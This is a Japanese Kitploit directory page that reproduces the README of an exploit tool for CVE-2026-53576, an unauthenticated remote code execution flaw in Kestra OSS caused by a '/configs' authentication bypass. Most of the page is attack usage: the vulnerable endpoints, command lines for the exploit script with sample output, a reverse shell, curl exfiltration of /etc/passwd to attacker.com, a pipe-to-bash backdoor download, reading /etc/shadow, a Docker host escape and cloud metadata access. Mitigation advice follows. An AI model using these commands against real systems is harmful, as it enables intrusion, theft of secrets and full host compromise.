Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-53576 — Kestra Unauthenticated RCE Exploit (CVE-2026-53576) | Kitploit
ツール/GitHubGitHub/tamatahyt/cve-2026-53576
Authentication & AuthorizationPrivilege EscalationExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingRed TeamingPayload DevelopmentContainer Escape
GitHubtamatahyt/cve-2026-53576
19日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-53576

Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

リポジトリを見る

Kestra 未認証RCEエクスプロイト (CVE-2026-53576)

Python License Security Kestra

未認証リモートコード実行につながる重大な認証バイパス

エクスプロイト • 脆弱性の詳細 • 影響 • 対策


⚠️ 免責事項

このツールは教育目的および許可を得たセキュリティテスト専用です。

  • 所有していない、または明示的な書面によるテスト許可がないシステムに対して使用しないでください。
  • 違法行為に使用しないでください。
  • 作者は本ツールの誤用について一切責任を負いません。
  • ご自身の責任で使用してください。

📋 目次

  • 概要
  • 脆弱性の詳細
  • エクスプロイトの使用方法
  • インストール
  • 使用例
  • 影響
  • 対策
  • タイムライン
  • 参考情報
  • ライセンス

🔍 概要

CVE-2026-53576 は、Kestra OSS バージョン v1.3.20 以前に存在する重大な脆弱性であり、認証フィルタのバイパスにより未認証のリモートコード実行を可能にします。

主な詳細


🚨 脆弱性の詳細

根本原因

Kestra の認証フィルタには重大なロジック上の欠陥があります:

root@kitploit:~
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

これは、正確なルートに一致させるのではなく、任意の API リクエストが /configs で終わるかどうかをチェックします。これにより、攻撃者は任意のエンドポイントに /configs を追加することで認証をバイパスできます。

悪用手順

  1. 悪意のあるフローを作成 → POST /api/v1/main/flows/configs (認証をバイパス)
  2. 実行をトリガー → POST /api/v1/main/executions/configs/configs (認証をバイパス)
  3. rootとしてコマンド実行 → システム全体が危険にさらされる

脆弱なエンドポイント

root@kitploit:~
# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 エクスプロイトの使用方法

基本的な使用方法

root@kitploit:~
python3 kestra_exploit.py <target_ip>

高度な使用方法

root@kitploit:~
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

コマンドオプション


📦 インストール

必要条件

root@kitploit:~
pip install requests

リポジトリのクローン

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

インストールの確認

root@kitploit:~
python3 kestra_exploit.py --help

🎯 使用例

例1: 基本的な悪用

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100

出力:

root@kitploit:~
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

例2: リバースシェル

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

例3: データ窃取

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

例4: Dockerエスケープの確認

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 影響

直接的な影響

攻撃者が可能なこと

未認証の攻撃者は以下が可能です:

  1. 任意のコマンドをrootとして実行:

    root@kitploit:~
    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. ホストシステムへの横展開 (Dockerソケットがマウントされている場合):

    root@kitploit:~
    docker run -v /:/host --privileged alpine chroot /host
    
  3. クラウドメタデータへのアクセス (クラウドプロバイダー上の場合):

    root@kitploit:~
    curl http://169.254.169.254/latest/meta-data/
    

🛡️ 対策

緊急対策

  1. 脆弱なインスタンスを停止:

    root@kitploit:~
    sudo systemctl stop kestra
    
  2. パブリックアクセスを遮断:

    root@kitploit:~
    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. ファイアウォールルールを適用:

    • 内部ネットワークに制限
    • 管理アクセスにはVPNを使用

恒久対策

  1. Kestraを最新の修正済みバージョンに更新:

    • 監視: https://github.com/kestra-io/kestra
    • 確認: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  2. 適切な認証を実装:

    • Basic認証の代わりにOAuth2/OIDCを使用
    • 多要素認証を有効化
  3. コンテナの堅牢化:

    • 非rootユーザーで実行
    • /var/run/docker.sock をマウントしない
    • 読み取り専用のルートファイルシステムを使用
  4. ネットワークの堅牢化:

    • 適切なルーティングを持つAPIゲートウェイを使用
    • WAFルールを実装
    • リクエスト検証を有効化

📅 タイムライン

日付出来事
2026-05-26脆弱性を発見
2026-06-03Kestraセキュリティアドバイザリ公開
2026-06-10CVE-2026-53576 採番
2026-06-15公開開示

📚 参考情報

  • Kestra セキュリティアドバイザリ GHSA-2q47-568g-9h4f
  • Huawei PSIRT
  • CVE-2026-53576 詳細
  • OWASP Top 10 - アクセス制御の不備

📄 ライセンス

root@kitploit:~
MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ サポート

このツールが役立つと思われた場合:

  • ⭐ リポジトリにスターを付ける
  • 🐛 問題を報告する
  • 🔄 プルリクエストを送信する
  • 📢 責任を持って共有する

🙏 謝辞

  • セキュリティアドバイザリを提供してくれたKestraチーム
  • この脆弱性を公開したセキュリティ研究者
  • オープンソースセキュリティコミュニティ

⚠️ 責任を持って使用してください ⚠️

脆弱性を報告 • セキュリティポリシー • 連絡先

ツールをダウンロード
属性値
CVE IDCVE-2026-53576
深刻度重大 (9.8 CVSS)
脆弱性の種類認証バイパス + RCE
影響を受ける製品Kestra OSS
影響を受けるバージョン≤ v1.3.20
攻撃経路ネットワーク
必要な認証不要
ユーザー操作不要
オプション説明
target対象のIPアドレスまたはホスト名 (必須)
-p, --portポート (デフォルト: 8080)
--httpsHTTPの代わりにHTTPSを使用
-c, --command実行するカスタムコマンド
--docker-checkDockerソケットへのアクセスを確認
--cleanup悪用後にフローを削除
--delayリクエスト間の遅延 (デフォルト: 2秒)
カテゴリ深刻度説明
機密性⚠️ 重大任意のファイルを読み取る (パスワード、シークレット、設定)
完全性⚠️ 重大フローやデータの作成・変更・削除
可用性⚠️ 高システムの停止、リソースの枯渇
認証⚠️ 重大Basic認証の完全なバイパス
権限昇格⚠️ 重大root (uid=0) としてコマンド実行
コンテナエスケープ⚠️ 重大Dockerソケットを介したホストの侵害
2026-08-01PoC 公開